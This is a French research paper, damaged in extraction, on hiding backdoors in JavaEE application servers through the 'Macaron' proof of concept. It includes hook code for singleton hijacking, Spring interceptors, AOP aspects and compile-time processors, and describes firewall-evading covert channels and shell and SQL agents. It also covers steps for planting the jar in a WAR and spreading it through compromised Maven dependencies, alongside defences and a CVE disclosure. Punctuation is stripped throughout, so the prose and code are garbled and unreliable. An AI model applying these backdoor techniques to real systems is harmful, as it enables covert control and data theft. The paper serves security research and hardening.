readerparse(input)
public SAXParserFactory ()
next_ = nextServices(
400 Porte derobee dans les serveurs drsquoapplications JavaEE
javaxxmlparsersSAXParserFactory
comsunorgapachexerces+
internaljaxpSAXParserFactoryImpl)
public final SAXParser newSAXParser ()
throws ParserConfigurationException SAXException
return new SAXParser ()
private final SAXParser _next=
next_newSAXParser ()
public final XMLReader getXMLReader ()
throws SAXException
return new XMLReader ()
private XMLReader next_=_nextgetXMLReader ()
public final void parse(InputSource input)
throws IOException SAXException
hookParse(next_ input)
Delegate methods
public ContentHandler getContentHandler ()
return next_getContentHandler (
Delegate methods
public final boolean equals(Object obj)
return _nextequals (
Delegate methods
public final boolean equals(Object obj)
return next_equals (
La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion
P Prados 401
Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat
La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x
Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins
Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface
Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc
Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique
interface Singleton
class TheSingleton implements Singleton
private static Singleton _singleton=
new TheSingleton ()
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
